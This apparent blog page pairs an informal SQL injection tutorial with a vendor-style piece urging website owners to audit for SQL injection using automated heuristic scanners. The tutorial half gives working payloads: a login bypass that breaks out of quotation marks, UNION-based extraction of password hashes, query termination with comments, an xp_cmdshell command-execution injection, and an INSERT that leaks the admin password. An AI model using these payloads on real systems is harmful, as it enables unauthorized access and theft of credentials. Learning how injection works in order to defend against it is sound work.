SELECT fieldName1, fieldName2 FROM databaseName WHERE
restrictionsToFilterWhichEntriesToReturn

Now, to dissect...
The red areas is where criterion is inputed. The rest of the query structures the
query.

* SELECT fieldName1, fieldName2 - Specifies the of the names of fields that will
be returned from the database.
* FROM databaseName - Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntriesToReturn - Specifies which entries to return.

Here is an example for somebody's login script:

SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)"
AND userPass="(input here)"

The idea is guess what that application's query looks like and input things
designed to return data other than what was intended.

In the example, input like the following could give gain access to the
administrator account:

User: administrator
Pass: " OR ""="

Making the query like this:

SELECT userAcessFlags FROM userDatabase WHERE userName="administrator"
AND userPass="" OR ""=""

As you can see, ""="" (nothing does indeed match nothing)
Note: Injections are rarely as simple as this...

One can be creative and use error messages to your advantadge to access other
databases, fields, and entries. Learn a little SQL to use things like UNION to
merges query results with ones not intended.On the security side, parse user data
and get rid of any extra symbols now that you know how it's done.

The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn't processed as code or anything
but as a phrase and what it is.

The password injection was: " OR ""="
What this does is close the string that was started by the quotation mark in the part
userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""="
after I break out of the string. You will notice that it is comparing two quotation
marks with one, but the quotation mark already built in by the application finishes
it so we have this:
userPass="" OR ""=""
Notice how the first and last quotation marks are not colored and are not built in.

Additional notes:
This was just an extremely simplified version and you will probably need to learn a
little SQL to fully understand.

Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put
things like SELECT after UNION in order to search other databases and stuff.
Sometimes you may need to use ALL in conjuction to break out of certain clauses.
It does no harm so when in doubt you could do something like:
" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="admin
The key when using UNION is to make your new query return the same amount of columns
in the same datatype so that you may get the results you want.

:-- This works sometimes to terminate the query so that it ignores to the rest
 of the stuff that might be fed afterwards if you don't like it. For example:
SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0qcQOVz7e0s"

NOT IN: If you have no idea which record you want you could record cycle
(you request vague info, and you put what you already got in the NOT IN clause so
that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN
('Dehstil','Twistedchaos')

EXEC: This command should never work, but if it does...you win; you could do anything.
For instance, you could inject something like this:
';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:

All my examples so far have dealt with read processes. To manipulate a write process,
here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(''+(SELECT userPass FROM userDatabase WHERE
userName='admin')+'' + 'Chicago' + 'male')
This example would theoretically put the admin's password in your profile. 

Friday, March 4, 2011

Securing your website and web applications from SQL Injection involves a three-part process:
  1. Analysing the present state of security present by performing a thorough audit of your website and web applications for SQL Injection and other hacking vulnerabilities.
  2. Making sure that you use coding best practice santising your web applications and all other components of your IT infrastructure.
  3. Regularly performing a web security audit after each change and addition to your web components.
Furthermore, the principles you need to keep in mind when checking for SQL Injection and all other hacking techniques are the following: “Which parts of a website we thought are secure are open to hack attacks?” and “what data can we throw at an application to cause it to perform something it shouldn’t do?”.
Checking for SQL Injection vulnerabilities involves auditing your website and web applications. Manual vulnerability auditing is complex and very time-consuming. It also demands a high-level of expertise and the ability to keep track of considerable volumes of code and of all the latest tricks of the hacker’s ‘trade’.
The best way to check whether your web site and applications are vulnerable to SQL injection attacks is by using an automated and heuristic web vulnerability scanner.
An automated web vulnerability scanner crawls your entire website and should automatically check for vulnerabilities to SQL Injection attacks. It will indicate which URLs/scripts are vulnerable to SQL injection so that you can immediately fix the code. Besides SQL injection vulnerabilities a web application scanner will also check for Cross site scripting and other web vulnerabilities.
Signature-Matching versus Heuristic Scanning for SQL InjectionWhereas many organisations understand the need for automating and regularising web auditing, few appreciate the necessity of scanning both off-the-shelf AND bespoke web applications. The general misconception is these custom web applications are not vulnerable to hacking attacks. This arises more out of the “it can never happen to me” phenomenon and the confidence website owners place in their developers.
A search on Google News returned 240 matches on the keyword “SQL Injection” (at time of writing). Secunia and SecuObs report dozens of vulnerabilities of known web applications on a daily basis. Yet, examples of hacked custom applications are rarely cited in the media. This is because it is only the known organisations (e.g. Choicepoint, AT&T, PayPal) that hit the headlines over the past few months.
It is critical to understand that custom web applications are probably the most vulnerable and definitely attract the greatest number of hackers simply because they know that such applications do not pass through the rigorous testing and quality assurance processes of off-the-shelf ones.
This means that scanning a custom web application with only a signature-based scanner will not pinpoint vulnerabilities to SQL Injection and any other hacking techniques.
Establishing and testing against a database of signatures of vulnerabilities for known applications is not enough. This is passive auditing because it will only cover off-the-shelf applications and any vulnerabilities to new hacking techniques will not be discovered. In addition, signature matching would do little when a hacker launches an SQL Injection attack on your custom web applications. Hack attacks are not based on signature file testing – hackers understand that known applications, systems and servers are being updated and secured constantly and consistently by respective vendors. It is custom applications that are the proverbial honey pot.
It is only a handful of products that deploy rigorous and heuristic technologies to identify the real threats. True automated web vulnerability scanning almost entirely depends on (a) how well your site is crawled to establish its structure and various components and links, and (b) on the ability of the scanner to leverage intelligently the various hacking methods and techniques against your web applications.
It would be useless to detect the known vulnerabilities of known applications alone. A significant degree of heuristics is involved in detecting vulnerabilities since hackers are extremely creative and launch their attacks against bespoke web applications to create maximum impact.

download the scanner today!